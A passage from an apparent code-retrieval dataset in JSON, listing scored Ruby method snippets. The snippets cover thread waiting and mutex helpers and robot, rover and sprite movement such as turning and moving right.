!@queue.empty? || @actor.busy?\n end", "title": "" }, { "docid": "649684da09e705e562db67b23582c078", "score": "0.54055154", "text": "def execute_next(&block)\n @mutex.synchronize do\n if @active_thread\n condition_variable = ConditionVariable.new\n @waiting_threads.unshift(condition_variable)\n condition_variable.wait(@mutex)\n end\n @active_thread = true\n end\n return_value = yield\n ensure\n @mutex.synchronize do\n @active_thread = false\n next_waiting_thread = @waiting_threads.shift\n next_waiting_thread&.signal\n end\n end", "title": "" }, { "docid": "824229dc1308d1205e284865f5d406ef", "score": "0.54015374", "text": "def wait_until(timeout=10, &block)\n time = Time.now\n success = false\n until success\n if (Time.now - time) >= timeout\n raise \"Waited for #{timeout} seconds, but block never returned true\"\n end\n sleep 0.5\n success = yield\n end\n end", "title": "" }, { "docid": "38144bb647309c15a3a236c7f6951778", "score": "0.54002804", "text": "def pending(&block)\n begin\n @__assert_pending__ += 1\n instance_eval(&block)\n ensure\n @__assert_pending__ -= 1\n end\n end", "title": "" }, { "docid": "e34659994f15c01d112d5602973e00b3", "score": "0.5391014", "text": "def wait_until_available\n return unless @locked\n\n @mutex.lock\n @mutex.unlock\n end", "title": "" }, { "docid": "8ffec25d614e2f938559590ae82d9167", "score": "0.5389582", "text": "def wait_until_blocked(timeout=nil)\n @mutex.synchronize do\n return true unless @blocked == NOT_YET\n\n start = Time.now\n time_to_stop = timeout ? (start + timeout) : nil\n\n logger.debug { \"#{__method__} @blocked: #{@blocked.inspect} about to wait\" }\n @cond.wait(timeout)\n\n if (time_to_stop and (Time.now > time_to_stop)) and (@blocked == NOT_YET)\n return nil\n end\n\n (@blocked == NOT_YET) ? nil : true\n end\n end", "title": "" }, { "docid": "37b84e535fed7ce7d9be6af1eacb6784", "score": "0.53848886", "text": "def loop(timeout = nil, &block)\n running = block || Proc.new { busy? }\n loop_forever{ break unless process_iteration(timeout, &running) }\n end", "title": "" }, { "docid": "78b3ab211098fcc898313b2a535d4973", "score": "0.53820676", "text": "def wait_until(timeout=20, &block)\n time_to_stop = Time.now + timeout\n until yield do\n sleep(0.1) # much less cpu stress\n break if Time.now > time_to_stop\n end\nend", "title": "" }, { "docid": "9bf8a9bfea4bde92f735dcdb4f619e48", "score": "0.5377247", "text": "def wait\n loop do sleep 1 end\n end", "title": "" }, { "docid": "e7b8731961a9de8a2624f0e0fa69d73a", "score": "0.53710526", "text": "def flush()\n return if @loop.nil?\n @waiting_thread = Thread.current\n begin\n @loop.wakeup()\n rescue\n # ignore\n end\n while busy?\n sleep(2.0)\n end\n @waiting_thread = nil\n end", "title": "" }, { "docid": "03ad06a7d6020c428b16e3d700da263b", "score": "0.53657997", "text": "def blocking(params = {})\n get \"blocks/blocking\", params\n end", "title": "" }, { "docid": "198268efcc78f5ab4c0ba228731cfec3", "score": "0.5363313", "text": "def wait(&block)\n fiber = Fiber.current\n\n # Resume the fiber when a response is received\n allow_resume = true\n block.call do |*args|\n fiber.resume(*args) if allow_resume\n end\n\n # Attempt to pause the fiber until a response is received\n begin\n Fiber.yield\n rescue FiberError => ex\n allow_resume = false\n raise Error, 'Spotify Web APIs cannot be called from root fiber; use SpotifyWeb.run { ... } instead'\n end\n end", "title": "" }, { "docid": "1eebfa3532c1a72c9a4e029fe264c1ff", "score": "0.5362876", "text": "def process(wait = nil, &block)\n return false unless ev_preprocess(&block)\n\n ev_select_and_postprocess(wait)\n end", "title": "" }, { "docid": "14ee4a49d794546bfa53176ffa583398", "score": "0.536268", "text": "def wait\n sleep WAIT_TIME unless @skip_wait\n end", "title": "" }, { "docid": "2ec499efafc9a11d8f2ee968201d710b", "score": "0.5355472", "text": "def process(&block); end", "title": "" }, { "docid": "1c821abeb3a10217a8a257299a9fcba4", "score": "0.5349904", "text": "def reconfigure(&block)\n mutex.lock\n raise ArgumentError.new('no block given') unless block_given?\n if @state == :pending\n @task = block\n true\n else\n false\n end\n ensure\n mutex.unlock\n end", "title": "" }, { "docid": "e1db024a32cd8faa40b4801fe7ea632b", "score": "0.534336", "text": "def wait_until_available\n return unless locked?\n\n @mutex.synchronize {}\n end", "title": "" }, { "docid": "71d6d3b785cb892ffeee519f640a2673", "score": "0.53406703", "text": "def brute_wait(delay)\n sleep(delay)\n end", "title": "" }, { "docid": "65f0887cd3fead17f37388924600b2e6", "score": "0.5332287", "text": "def examine_block\n if accepted?\n worker && worker.report_accepted_block(self)\n end\n true\n end", "title": "" }, { "docid": "0cc31f28862e071383b50dfab8efb457", "score": "0.5329885", "text": "def waiting; end", "title": "" }, { "docid": "0cc31f28862e071383b50dfab8efb457", "score": "0.5329885", "text": "def waiting; end", "title": "" }, { "docid": "1916b7a12d5c7f632851a763dd75e413", "score": "0.5329461", "text": "def wait\n @wait.synchronize do\n sleep 1 while @count >= THREAD_MAX\n @count += 1\n end\n end", "title": "" }, { "docid": "d3e24717fd1d8774432497311b039b74", "score": "0.5311688", "text": "def busy?\n !@work_queue.empty? || super\n end", "title": "" }, { "docid": "8b84c1a75d4868caac323323780b203c", "score": "0.5303941", "text": "def suspend &block\n if block_given? then\n @mutex.synchronize {\n begin\n @suspended = true\n block.call(self)\n ensure\n @suspended = false\n end\n }\n end\n end", "title": "" }, { "docid": "c1a6e894db87df31ec5930aed259511b", "score": "0.5299162", "text": "def block_while_parsing(&block)\n @parsed = false\n parse(&block)\n NSRunLoop.currentRunLoop.runUntilDate(NSDate.distantFuture)\n end", "title": "" }, { "docid": "f30f9758a4faf2dd58046ea7ab35f46d", "score": "0.5295736", "text": "def start_new_block\n if (@block_buffer)\n add_block(@block_buffer)\n @block_buffer = nil\n end\n end", "title": "" }, { "docid": "5b8473046533aad6f8a4fdb535ca2090", "score": "0.5278735", "text": "def set_block &b\n @block = b\n end", "title": "" }, { "docid": "841292bf48ae1d4087efd6ca89f2d1f3", "score": "0.52779365", "text": "def wait_until_not_full; end", "title": "" }, { "docid": "cc4b395e67624622b320eb03fe2989b3", "score": "0.5273225", "text": "def wait; end", "title": "" }, { "docid": "cc4b395e67624622b320eb03fe2989b3", "score": "0.5273225", "text": "def wait; end", "title": "" }, { "docid": "cc4b395e67624622b320eb03fe2989b3", "score": "0.5273225", "text": "def wait; end", "title": "" }, { "docid": "7d01a8c622f50653a65ad840f9ad0e66", "score": "0.5262692", "text": "def wait_until\n until yield\n wait\n end\n end", "title": "" }, { "docid": "d8e6a8e29a34537e7bcf16a86390ccaa", "score": "0.5261937", "text": "def after_wait(&block)\n @after_wait_block = block\n end", "title": "" }, { "docid": "bfc0fbd2dc1f24b63d96cff3cc0f0785", "score": "0.5257975", "text": "def while(&blk)\n loop{ !blk[] }\n end", "title": "" }, { "docid": "840e9e4d0626fcf40dcdae76430020ee", "score": "0.52548933", "text": "def defer(&block)\n index = wait_available_slot\n @threads[index].kill if @threads[index].respond_to?(:kill)\n @threads[index] = Thread.new(&block)\n end", "title": "" }, { "docid": "2a2b235771e4692dc4fc35d9bdaa475a", "score": "0.5254011", "text": "def stop &block\n if block_given? then\n @stopped = true\n @suspended = false\n # Wait till something is put on the dead queue...\n # This stops us from acquiring the mutex until after @thread\n # has processed @stopped set to true.\n sig = @dead.deq\n # The cron thread should be dead now, or wrapping up (with the\n # acquired mutex)... \n @mutex.synchronize {\n while @thread.alive?\n sleep 0.2\n end\n block.call(self)\n }\n end\n end", "title": "" } ]
0d58394e71b1d7a9ed3d4f219290867e
moves the rover right
[ { "docid": "d6c909f98d71b79dc67bc77b1385d12c", "score": "0.0", "text": "def E\n @x += 1\n end", "title": "" } ]
[ { "docid": "dd44b4122f3cd896b811ef2ae409c97e", "score": "0.82254356", "text": "def move_right\n\t\tmove([1,0])\n\tend", "title": "" }, { "docid": "9805df28c15975501008bfa36e5265c4", "score": "0.7771812", "text": "def move_right\r\n if @x + @vel_x < SCREEN_WIDTH - GAME_PRESET[\"player_move_right\"]\r\n @x += @vel_x\r\n end\r\n end", "title": "" }, { "docid": "4cd2a4bc41d6865e97636ea080c7e2e1", "score": "0.7769296", "text": "def move_right\n @board.each(&:reverse!)\n action = move_left\n @board.each(&:reverse!)\n action\n end", "title": "" }, { "docid": "634efec2814750d50dd5255fbebd5da3", "score": "0.7743646", "text": "def right\n direction.move_right!\n end", "title": "" }, { "docid": "890eb4883ed93c1f73b191c064327498", "score": "0.7604763", "text": "def turnRight\n if @placed\n @face = @face.turnRight\n end\n end", "title": "" }, { "docid": "965a865f036437d0a49441a99687b779", "score": "0.75174546", "text": "def turn_right\n @orientation = CompassPoints::RIGHT_TURNS[@orientation] if placed?\n end", "title": "" }, { "docid": "d3f0123ef4a52d71e1d4dfdce072fbd8", "score": "0.75133204", "text": "def move_right(turn_enabled = true)\n @x += 1 if passable?(@x, @y, 6)\n turn_right if turn_enabled\n add_move_update('move_right')\n end", "title": "" }, { "docid": "626db1456f0927fcb2c01afb0a1cebf6", "score": "0.7511792", "text": "def move_right\n\t\t@x_speed += @speed_inc_step\n\t\tif @x_speed > @max_speed\n\t\t\t@x_speed = @max_speed\n\t\tend\n\n\t\tupdate_x(@x_speed)\n\n\t\tif face_left?\n\t\t\tupdate_angle(calculate_angle(180))\n\t\tend\n\n\t\t@has_moved = @player_moved = true\n\tend", "title": "" }, { "docid": "296c612c13bb6ff057c62427558cb3af", "score": "0.74743927", "text": "def turnRight\n case @currentDir\n when :north\n @currentDir = :east\n when :south\n @currentDir = :west\n when :east\n @currentDir = :south\n when :west\n @currentDir = :north\n end\n end", "title": "" }, { "docid": "e9330ae90fa10e74d88e9fe69c14f64b", "score": "0.7468792", "text": "def move_right(environment)\n @previous_action = 'moved right'\n location[:x] += 1 if can_move_left?(environment)\n environment.state\n end", "title": "" }, { "docid": "333c106bb647743698bc16d313d66c12", "score": "0.7455424", "text": "def move_right\n right_tile = C[@location.first, @location.second + 1]\n move_to(right_tile)\n end", "title": "" }, { "docid": "ba3ba5652008573cb302ca7dbf92efdf", "score": "0.7447993", "text": "def turn_right\n if @@compass.index(@direction) == @@compass.length - 1\n @direction = @@compass[0]\n else\n current_index = @@compass.index(@direction)\n @direction = @@compass[current_index + 1]\n end\n end", "title": "" }, { "docid": "df6923984fce5354ab14bc62ad531c9b", "score": "0.74113095", "text": "def turnRight\n return EAST\n end", "title": "" }, { "docid": "4f88da7eef6ade6e838008bac1bbf0e3", "score": "0.7388173", "text": "def turn_right\n case @direction\n when \"n\"\n then \"e\"\n when \"e\"\n then \"s\"\n when \"s\"\n then \"w\"\n when \"w\"\n then \"n\"\n end\n end", "title": "" }, { "docid": "4c2ed99eab7330c294336861be287906", "score": "0.73252004", "text": "def move_down_right\n i = 1\n until false\n x, y = @pos\n x += i\n y += i\n pos = [x, y]\n break if x > 7 || x < 0 || y > 7 || y < 0 || @board[pos].color == @color\n @moves << pos\n break if @board[pos].color != @color\n i += 1\n end\n end", "title": "" }, { "docid": "411e70fdb598086b8bf1cc3580192ca7", "score": "0.73112804", "text": "def move_upper_right\n unless @direction_fix\n @direction = (@direction == 4 ? 6 : @direction == 2 ? 8 : @direction)\n end\n if (passable?(@x, @y, 8) && passable?(@x, @y - 1, 6)) ||\n (passable?(@x, @y, 6) && passable?(@x + 1, @y, 8))\n move_follower_to_character\n @x += 1\n @y -= 1\n if @follower && $game_variables[Yuki::Var::FM_Sel_Foll] == 0\n @memorized_move = :move_upper_right\n @follower.direction = @direction\n end\n movement_process_end(true)\n increase_steps\n end\n end", "title": "" }, { "docid": "6d07d1083629706885b19d06f1bc2417", "score": "0.73007756", "text": "def turn_right\n index = DIRECTIONS.index(direction) + 1\n index = 0 if index >= DIRECTIONS.length\n change_direction(DIRECTIONS[index])\n end", "title": "" }, { "docid": "6d07d1083629706885b19d06f1bc2417", "score": "0.73007756", "text": "def turn_right\n index = DIRECTIONS.index(direction) + 1\n index = 0 if index >= DIRECTIONS.length\n change_direction(DIRECTIONS[index])\n end", "title": "" }, { "docid": "6665c6f1ad5a700c1664b7edb2415c89", "score": "0.7294589", "text": "def turn_right\n # p \"old bearing == #{bearing}\"\n # ndx = BEARINGS.index(bearing)\n # p \"old ndx == #{ndx}\"\n # ndx = (ndx + 1) % 4\n # p \"new ndx == #{ndx}\"\n # new_bearing = BEARINGS[ndx]\n # p \"new bearing == #{new_bearing}\"\n # self.bearing = new_bearing\n self.bearing = BEARINGS[(BEARINGS.index(bearing) + 1) % 4]\n end", "title": "" }, { "docid": "dbdc65b49990bcb17beb512f42f9b337", "score": "0.72898906", "text": "def moveRight\n if (@x + @size) < 510\n call Screen.setColor(false)\n call Screen.drawRectangle(@x, @y, @x + 1, @y + @size)\n let @x = @x + 2\n call Screen.setColor(true)\n call Screen.drawRectangle((@x + @size) - 1, @y, @x + @size, @y + @size)\n end\n end", "title": "" }, { "docid": "71408dfbd1f360cf8d3fb7e978eaa029", "score": "0.7276252", "text": "def turn_right\n @angle += ROTATION_SPEED\n end", "title": "" }, { "docid": "771bbcec400010f4d000f832acff774b", "score": "0.7267235", "text": "def move_right\n right_tile = Couple.new(@location.first, @location.second + 1)\n move_to(right_tile)\n end", "title": "" }, { "docid": "686505fe2679e87060ceed8abde8b062", "score": "0.7262095", "text": "def move(rover)\n rover.command.each do |m|\n remove_rover(rover)\n rover.move(m)\n place_rover(rover)\n end\n end", "title": "" }, { "docid": "b755e34c0b63b4e812ec179e0f8a681c", "score": "0.7241199", "text": "def move_right(window)\n\t\t# if the horse isn't yet at the right edge move it right 20\n\t\tif @x < window.width - @image.width\n\t\t\t@x = @x +20\n\t\tend\n\tend", "title": "" }, { "docid": "d4a034adc7a5406649d56b9e47c3aeeb", "score": "0.7231187", "text": "def move_up_right\n i = 1\n until false\n x, y = @pos\n x -= i\n y += i\n pos = [x, y]\n break if x > 7 || x < 0 || y > 7 || y < 0 || @board[pos].color == @color\n @moves << pos\n break if @board[pos].color != @color\n i += 1\n end\n end", "title": "" }, { "docid": "3727772c2a9f7b954cbaf86bb748b5f0", "score": "0.72280425", "text": "def move_object_right(object)\n object.location_move_right unless is_wall?(object.location_right)\n end", "title": "" }, { "docid": "a56896447e5ba44b691a2a87e6629017", "score": "0.7186336", "text": "def move_rover()\n puts \"DEBUG: moving: #{@orientation}\" if DEBUG\n case @orientation\n when DIRECTION_EAST\n @position[:x] += 1 if @position[:x] < @map.width\n when DIRECTION_WEST\n @position[:x] -= 1 if @position[:x] > 0\n when DIRECTION_NORTH\n @position[:y] += 1 if @position[:y] < @map.height\n when DIRECTION_SOUTH\n @position[:y] -= 1 if @position[:y] > 0\n end\n puts \"DEBUG: position after move: #{@position}\" if DEBUG\n end", "title": "" }, { "docid": "7899d433f2cab9c133affbb289daaa79", "score": "0.71720386", "text": "def move_to_right_of(node)\n self.move_to node, :right\n end", "title": "" }, { "docid": "61665457b94d08ccf6c988cff64d3927", "score": "0.7169455", "text": "def move_to_right_of(node)\n self.move_to(node, :right)\n end", "title": "" }, { "docid": "72aa98f0b2c437bbc88e77da00944d9d", "score": "0.71620697", "text": "def stair_move_right\n # unless @through\n if system_tag == StairsL\n move_lower_right\n return true\n elsif front_system_tag == StairsR\n return true unless $game_map.system_tag(@x + 1, @y - 1) == StairsR\n move_upper_right\n return true\n end\n # end\n return false\n end", "title": "" }, { "docid": "83255d09f36643d59ca05097cc41285e", "score": "0.71534157", "text": "def move_to_right_of(node)\n move_to node, :right\n end", "title": "" }, { "docid": "83255d09f36643d59ca05097cc41285e", "score": "0.71534157", "text": "def move_to_right_of(node)\n move_to node, :right\n end", "title": "" }, { "docid": "83255d09f36643d59ca05097cc41285e", "score": "0.71534157", "text": "def move_to_right_of(node)\n move_to node, :right\n end", "title": "" }, { "docid": "c07b90d47f18eff75b45613da389bedf", "score": "0.7143335", "text": "def turn_right\n\t\tif @direction == \"N\"\n\t\t\t@direction = \"E\"\n\t\telsif @direction == \"E\"\n\t\t\t@direction = \"S\"\n\t\telsif @direction == \"S\"\n\t\t\t@direction = \"W\"\n\t\telsif @direction == \"W\"\n\t\t\t@direction = \"N\"\n\t\tend\n\tend", "title": "" }, { "docid": "94c512c3a504e6aa3ecfb66d90cd1fdf", "score": "0.71390533", "text": "def move_to_right_of(node)\n self.move_to node, :right\n end", "title": "" }, { "docid": "295376a258363681f707e350a18994da", "score": "0.7102751", "text": "def position_for_next_harvest()\n turn_right()\n move()\n turn_right()\n end", "title": "" }, { "docid": "ff7c0c6deffaf015cf5ec0602abdccce", "score": "0.7094733", "text": "def move_right(turn_enabled = true)\n\n @move_angle = 0\n\n # Turn right\n if turn_enabled\n turn_right\n end\n # If passable\n if passable?(@x, @y, 6)\n # Turn right\n turn_right\n\n # Remove from cache\n $scene.map.cache_clear(@x,@y,self)\n\n # Update coordinates\n @x += 1\n\n $scene.map.cache_push(@x,@y,self)\n\n # Increase steps\n increase_steps\n\n if self == $player && $party.leader != 'ship'\n tt = terrain_tag\n $audio.queue(\"steps/foot#{rand(8)}\",12,0.4) if tt != 3\n $audio.queue('steps/foot5',12,0.6) if tt == 2\n end\n\n else\n # Determine if touch event is triggered\n check_event_trigger_touch(@x+1, @y)\n end\n end", "title": "" }, { "docid": "d55db2ea73b9ccfea81e4e546f2653fd", "score": "0.7071281", "text": "def turn_right\n @shape.body.t += 300.0\n end", "title": "" }, { "docid": "d3109375d4b02d967c4d7b11bd5cd133", "score": "0.7058083", "text": "def move_right\n @memory_position += 1\n @memory_position = 0 if @memory_position > 0xfffffe\n end", "title": "" }, { "docid": "766cd79697c21a379b22d9bf0d03ba65", "score": "0.70537204", "text": "def moveRight(distance)\n @x = @x + distance\n @image.x = @x\n end", "title": "" }, { "docid": "2e862a4384c521eff24451320beea452", "score": "0.70331544", "text": "def turn_right\n @orientation == 3 ? @orientation = 0 : @orientation += 1\n end", "title": "" }, { "docid": "62b495146096234808dd1247dd54d16f", "score": "0.70262295", "text": "def turn_right\n index = DIRECTIONS.index(@facing)+1\n @facing = DIRECTIONS[index] || DIRECTIONS[0]\n end", "title": "" }, { "docid": "e57877dd1cd10a61bf473f6b181194d5", "score": "0.7011895", "text": "def move_west\n @x -= 1\n end", "title": "" }, { "docid": "ce2f7f2b4b36c4d33c55feda822a974b", "score": "0.70111954", "text": "def paddle_right_up\n @paddles[1].move_up\n end", "title": "" }, { "docid": "42cfa77a7c5d5b20b0bead18bddc433d", "score": "0.69531596", "text": "def move_ears(left, right)\n message.posleft = left if left\n message.posright = right if right\n nil\n end", "title": "" }, { "docid": "f291a1ceb28d6b292ddbde4d4a350ac1", "score": "0.6947884", "text": "def paddle_right_down\n @paddles[1].move_down\n end", "title": "" }, { "docid": "11be126f5fce58820d22ecf7ebcf22ce", "score": "0.6925031", "text": "def turn_right\n difference = heading - 270\n (difference < 10 && difference > 0) ? turn(difference) : turn(-10)\n end", "title": "" }, { "docid": "172064f62c82079cf5783ecfd9cf73ee", "score": "0.689639", "text": "def right\n return cancel_action(\"Robot isn't placed on the surface yet\") unless placed?\n\n target_direction = current_placement.direction.rotate_clockwise\n rotate(target_direction)\n end", "title": "" }, { "docid": "391408867041b5a040424e87c709df72", "score": "0.6826889", "text": "def move\n case @direction\n when \"N\" then @y += 1 unless @y + 1 > @plateau.y || @@rover_locations.values.include?([@x, @y + 1])\n when \"E\" then @x += 1 unless @x + 1 > @plateau.x || @@rover_locations.values.include?([@x + 1, @y])\n when \"S\" then @y -= 1 unless @y - 1 < 0 || @@rover_locations.values.include?([@x, @y -1])\n when \"W\" then @x -= 1 unless @x - 1 < 0 || @@rover_locations.values.include?([@x -1, @x])\n end\n @@rover_locations[@id.to_sym] = [@x, @y]\n end", "title": "" }, { "docid": "95ad2d6bde43bd9c629be03c369fefb4", "score": "0.6822106", "text": "def right=(r)\r\n @x = r - @w\r\n end", "title": "" }, { "docid": "b7007a0330ea254f393ac6eabbafcb12", "score": "0.6811781", "text": "def move_toward_beeper()\n if front_is_clear?()\n move()\n else\n turn_left()\n end\n end", "title": "" }, { "docid": "935b5b6145bd5033bdbc91747db14319", "score": "0.6803374", "text": "def move\n\t\tif valid_move?\n\t\t\tputs \"\"\n\t\t\tif OS.mac?\n\t\t\t\tcmd = ('say \"roger-roger\"')\n\t\t\t\tsystem cmd\n\t\t\tend\n\t\t\tputs \"Roger, roger I\\'m moving forward one field!\"\n\t\t\tcase @robot_direction\n\t\t\twhen \"EAST\" then @x += 1\n\t\t\twhen \"WEST\" then @x -= 1\n\t\t\twhen \"NORTH\" then @y += 1\n\t\t\twhen \"SOUTH\" then @y -= 1\n\t\t\tend\n\t\telse\n puts \"This is the end of this world and I can't go further in this direction, please change direction\"\n\t\tend\n\tend", "title": "" }, { "docid": "365097822ad18c1a3e33bd8ccad3c068", "score": "0.67918175", "text": "def turn_right\n new_row_diff = @col_diff + 0\n new_col_diff = 0 - @row_diff\n @row_diff = new_row_diff\n @col_diff = new_col_diff\n end", "title": "" }, { "docid": "48bae66be0441e2d5fb862017afd6230", "score": "0.6777134", "text": "def rotate_right\n placed?\n @direction = case @direction\n when \"NORTH\" then \"EAST\"\n when \"EAST\" then \"SOUTH\"\n when \"SOUTH\" then \"WEST\"\n when \"WEST\" then \"NORTH\"\n end\n end", "title": "" }, { "docid": "24cd151ac980bec13cd8dfbd52096150", "score": "0.6767832", "text": "def test_right_wrap\n rover = MarsRover.new(4,0,'N', world=World.new(5,5))\n rover.command('RF')\n assert_equal([0,0,'E'], rover.position)\n end", "title": "" }, { "docid": "d558a69825de96ed7646496b2526eddf", "score": "0.67657834", "text": "def move_lower_right\n unless @direction_fix\n @direction = (@direction == 4 ? 6 : @direction == 8 ? 2 : @direction)\n end\n if (passable?(@x, @y, 2) && passable?(@x, @y + 1, 6)) ||\n (passable?(@x, @y, 6) && passable?(@x + 1, @y, 2))\n move_follower_to_character\n @x += 1\n @y += 1\n if @follower && $game_variables[Yuki::Var::FM_Sel_Foll] == 0\n @memorized_move = :move_lower_right\n @follower.direction = @direction\n end\n movement_process_end(true)\n increase_steps\n end\n end", "title": "" }, { "docid": "ce99544b450e25c0ca61d8997cb57d20", "score": "0.67603964", "text": "def move\n case @rover_facing\n when 'N'\n @coordinates[1] += 1\n when 'E'\n @coordinates[0] += 1\n when 'S'\n @coordinates[1] -= 1\n when 'W'\n @coordinates[0] -= 1\n end\n end", "title": "" }, { "docid": "ef5a94c9c45e4aeef952331f99a56959", "score": "0.6757081", "text": "def move_right\n tenacious_transaction do\n move_to_right_of right_sibling.try(:lock!)\n end\n end", "title": "" }, { "docid": "4e6fcc18bb1eae53b32a728f2cab860e", "score": "0.6737582", "text": "def piece_right\n return unless @falling_piece\n\n @falling_piece.x += @block_size\n @falling_piece.grid_position.x += 1\n\n piece_left if collides?\n end", "title": "" }, { "docid": "11be43453644e43a04da98a429b81d8f", "score": "0.6736198", "text": "def move_right\n self.move_to_right_of(self.right_sibling)\n end", "title": "" }, { "docid": "a0b4b479c94046bf35e8e7f0324ff7fa", "score": "0.67237216", "text": "def test_turn_right\n\t\trobot = Robot.new(0,0,'N')\n\t\trobot.turn('R')\n\t\tassert_equal(1,robot.orientation)\n\tend", "title": "" }, { "docid": "0129b176e72bf5dafe7273a1e9e71035", "score": "0.6690372", "text": "def update\n space.fall(self) if should_fall?\n move\n end", "title": "" }, { "docid": "1d7843f7e28b74575c451845429732a5", "score": "0.66899323", "text": "def right(robot)\n extend Placed\n\n return robot unless placed? robot\n robot.f = Navigation::ALL[\n (Navigation::ALL.index(robot.f) + 1) % Navigation::ALL.size\n ]\n robot\n end", "title": "" }, { "docid": "1dea507a33920de07d6d177b3d3cafe1", "score": "0.6639535", "text": "def move_south\n @y -= 1\n end", "title": "" }, { "docid": "58b89f0e93eaefc5a27b3b694189e9d8", "score": "0.6623557", "text": "def right(args)\n return if !@is_robot_availabe\n #find its right elem\n @direction = DIRECTIONS[(DIRECTIONS.index(@direction) + 1) % 4]\n # return \"RIGHT\" #for test\n\n end", "title": "" }, { "docid": "b20619bc6fac5875871a1b39280d0b1a", "score": "0.66148764", "text": "def interpret_right(command)\n ensure_placed\n @robot.rotate_right\n end", "title": "" }, { "docid": "81c5e5ccdb23362938b7d00f55b641db", "score": "0.66113985", "text": "def move_left\n\t\tmove([-1,0])\n\tend", "title": "" }, { "docid": "222b6893b1fb2aaa55ca54df6653d7c1", "score": "0.66066843", "text": "def test_right_forward\n rover = MarsRover.new\n rover.command('RF')\n assert_equal([1,0,'E'], rover.position)\n end", "title": "" }, { "docid": "d3d3b5016238b384575d559ffe75cc2a", "score": "0.660135", "text": "def move_right(mat, y, x)\n return if (x + 1) > (mat.size - 1)\n\n zero_el = mat[y][x]\n other_el = mat[y][x + 1]\n mat[y][x + 1] = zero_el\n mat[y][x] = other_el\n\n { m: mat, zero: update_coordinates(zero_el, other_el), move: :right }\nend", "title": "" }, { "docid": "d4f971694e5a57a1bcf20c7ff0781377", "score": "0.66003656", "text": "def go_right(the_maze, floor, position, steps)\r\n if can_go_right?(the_maze, floor, position)\r\n the_maze = the_maze.set(floor, the_maze[floor].set(position, \"m\"))\r\n walk_maze(the_maze, floor, position + 1, steps.push([floor, position]))\r\n else\r\n return Hamster.vector\r\n end\r\nend", "title": "" }, { "docid": "e01c8abbd80c5898e213a7fd42c8a5f2", "score": "0.65638626", "text": "def move_down\n\t\tmove([0,1])\n\tend", "title": "" }, { "docid": "b2a0eed8fd2ee45d63f11fbb357cbf5e", "score": "0.6563419", "text": "def from_right(cur)\n\t\tmove(cur, 0, 1)\n\tend", "title": "" }, { "docid": "5cf913d36b017ef8d065c5c1a21f4631", "score": "0.6558583", "text": "def redo\n\t\t@moves.redo\n\tend", "title": "" }, { "docid": "2e329fe6ae4718370531b1024ca0f529", "score": "0.65547866", "text": "def move # takes (x, y, direction) from Rover\n\t\tif direction == \"N\"\n\t\t\t@y += 1\n\t\telsif direction == \"W\"\n\t\t\t@x -= 1\n\t\telsif direction == \"S\"\n\t\t\t@y -= 1\n\t\telsif direction == \"E\"\n\t\t\t@x += 1\n\t\telse \n\t\t\treturn \"The input direction enterned is wrong\"\n\t\tend\n\tend", "title": "" }, { "docid": "ec23713d12f7276a05949ed6455bd926", "score": "0.6554131", "text": "def right\n check_placed\n @facing = next_facing(+1)\n end", "title": "" }, { "docid": "eb72638438e00a627af55a98434ec518", "score": "0.6553769", "text": "def move; end", "title": "" }, { "docid": "eb72638438e00a627af55a98434ec518", "score": "0.6553769", "text": "def move; end", "title": "" }, { "docid": "a11f4b307653a5912b3f4f6c366d3a4e", "score": "0.65459615", "text": "def move(direction)\n \n end", "title": "" }, { "docid": "8b3a947905cef18271648fe2fa62be3f", "score": "0.6538168", "text": "def move_by(right_by = 0, down_by = 0)\n action.move_by(right_by, down_by).perform\n end", "title": "" }, { "docid": "1557804e5afdb8fa378e5fb769e909b4", "score": "0.653666", "text": "def right\n rotate(1)\n end", "title": "" }, { "docid": "991ba8f809e1989e00d3aaa60e569037", "score": "0.6534989", "text": "def move\n\t\t@x += 0\n\t\t@y += @vel\n\tend", "title": "" }, { "docid": "dc7a98fe92e8f224cf0ca9cc11d18c97", "score": "0.6534724", "text": "def turn_right\n case @current_orientation\n when NORTH\n @current_orientation = EAST\n when SOUTH\n @current_orientation = WEST\n when EAST\n @current_orientation = SOUTH\n when WEST\n @current_orientation = NORTH\n else\n raise RuntimeError, \"Current Orientation is invalid - #{get_orientation}\"\n end\n end", "title": "" }, { "docid": "144325f73246b9e44d0eb338a7b62719", "score": "0.6514054", "text": "def move\n \n end", "title": "" }, { "docid": "144325f73246b9e44d0eb338a7b62719", "score": "0.6514054", "text": "def move\n \n end", "title": "" }, { "docid": "608e4e9c41fcb7bbdfa7894b1e9cbf67", "score": "0.6510656", "text": "def castle_right(a, b, x, y)\n\t\t@board[x][y].piece = @board[a][b].piece\n\t\t@board[a][b].piece = nil\n\t\t@board[x - 1][y].piece = @board[x + 2][y].piece\n\t\t@board[x + 2][y].piece = nil\n\tend", "title": "" }, { "docid": "40d1a785b3f22bf6236087535568e0b5", "score": "0.6505", "text": "def move\n\n end", "title": "" }, { "docid": "1da6dcde978a6f9dbd76b139d4d6abb0", "score": "0.6504615", "text": "def right=(r); self[0] = r - self[2]; return r; end", "title": "" }, { "docid": "fbfbaf7f694f8c4ad1add5ee0206f1bb", "score": "0.6500969", "text": "def cursor_move_right\n @cursor_position += 1 if self.cursor_can_move_right?\n self.reset_cursor_blinking\n end", "title": "" }, { "docid": "af4ffad00d7e9e8782106cc6c0a80d97", "score": "0.64861333", "text": "def move_right(array)\r\n set_current_row_col(array)\r\n new_col = (@current_col == array.first.length - 1) ? 0 : @current_col + 1 # This logic will decide the new co-ordinated of space\r\n current_ele = array[@current_row][new_col]\r\n array[@current_row][new_col] = ' '\r\n replace_existing_element(array,current_ele, @current_row, @current_col)\r\n array\r\n end", "title": "" }, { "docid": "20bf8a23690555dd147741275b35fa0c", "score": "0.6481978", "text": "def move_right\n move_to_right_of right_sibling\n end", "title": "" }, { "docid": "20bf8a23690555dd147741275b35fa0c", "score": "0.6481978", "text": "def move_right\n move_to_right_of right_sibling\n end", "title": "" }, { "docid": "4417cdcc72d56065256e802862e06174", "score": "0.64795065", "text": "def shift_right\n self.unshift(self.pop)\n end", "title": "" }, { "docid": "6a07d409f4555f327bcde18749bcc821", "score": "0.6475788", "text": "def racquetRight(racquet)\n\tif racquet + 2 != SCREEN_X-1 #If the rightermost part of the racket isn't in the right wall\n return racquet + 1 #return the current position but 1 to the right\n else \n return racquet\n end\nend", "title": "" }, { "docid": "2b7f6fa8a55ca773f0ad4c6b850612ba", "score": "0.64698434", "text": "def right(degrees)\n turn(-degrees)\n end", "title": "" }, { "docid": "a3efe5e75a5d32b075dd2486a1f4dd7c", "score": "0.64633995", "text": "def test_backward\n rover = MarsRover.new(0,1,'N')\n rover.command('B')\n assert_equal([0,0,'N'], rover.position)\n end", "title": "" }, { "docid": 